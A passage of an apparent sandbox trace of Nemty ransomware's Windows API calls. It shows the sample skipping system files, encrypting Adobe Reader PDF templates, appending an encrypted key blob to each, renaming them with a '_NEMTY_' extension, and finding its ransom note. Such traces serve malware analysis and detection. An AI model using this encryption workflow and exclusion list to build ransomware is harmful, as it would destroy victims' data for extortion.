0x4f9ecb8 [0171.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.255] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.255] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.255] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.255] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="0EhEej3i73gMotRHI8w/EXfCOmqHtzuCQ1Akt19aVUC6Z7YPDHg8UirDvE8jkq4E\r\n5tk6mjmoGNVfyvXJ4duobVTbfQz6yrspQXnoT/x1o1JQGIzQwJWjY0/HCpYMHTT5\r\nqjkdQyRzzHXON+CbN9TQBzkTvCg4qT4vh37Z2qbyNHgog+gqgTLqunajrWZxxMhg\r\ntmsvvBPKIS8nC95jkQtF8en5c6JFfcXf0xlcg/4tb7IyEV4rNqYSud61lqzgT6Y8\r\no/21i/PpIqwRxHSTA4dRw54qX/fpgjIn8CR0M6P/AQ+4C9FbxYHaYRAyDQWYtLJO\r\nqANoyc6b75+lRdJBzcI1MA==\r\n", pcchString=0x653e5dc) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.255] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=22043) returned 1 [0171.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5610) returned 0x6352c48 [0171.256] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.256] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5610, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5610, lpOverlapped=0x0) returned 1 [0171.259] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.259] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5610, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5610, lpOverlapped=0x0) returned 1 [0171.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.259] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=22043, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x561b [0171.259] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.259] CloseHandle (hObject=0x3b0) returned 1 [0171.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.259] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.261] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x510a, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.261] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.261] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.261] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.261] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.261] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.261] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.261] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.261] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.261] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.261] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.262] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.262] Sleep (dwMilliseconds=0x5) [0171.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19bb5cd0, dwHighDateTime=0x1d561e8)) [0171.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19bb5cd0, dwHighDateTime=0x1d561e8)) [0171.270] GetLastError () returned 0x0 [0171.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.270] GetLastError () returned 0x0 [0171.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.270] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.270] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.271] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.271] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="2yJWv70t7jbqC4LkRK4+kOMuTnDhNO22j57AI3ziXpGNxBG+hlg4ctOI6GZ5gli1\r\nOxCIJAXcttEUk+JqP9F96uezTtohYcCVy/f7uQiA3e+Fy9zJNvCgHhVHMmNU4IsJ\r\nPnBgBpwnPkDTHpEBvi6gfqatuk352IQQt5E5dkJ+XjyQLXxlIkUcGHtVpI/NTGd/\r\nV1kLDlxFfAHy2tyuD7bpa3A/2l6UDEVxWmfvgXOQIttBatEmCziLJgQOIebBVDFI\r\nBoXVN+lsutEKxhr24dAw5WyANWtExktxqX2U3efk66c0ydZBjDo9e8/5fdyZgD9j\r\nKBZkBDfsLR0XszCUWrDZsA==\r\n", pcchString=0x653e5dc) returned 1 [0171.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.271] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=20746) returned 1 [0171.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5100) returned 0x6352c48 [0171.271] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.271] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5100, lpOverlapped=0x0) returned 1 [0171.274] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.274] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5100, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5100, lpOverlapped=0x0) returned 1 [0171.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.274] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=20746, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x510a [0171.274] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.274] CloseHandle (hObject=0x3b0) returned 1 [0171.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.275] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.275] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19b69a10, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19b69a10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19b69a10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.275] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.275] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.276] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, 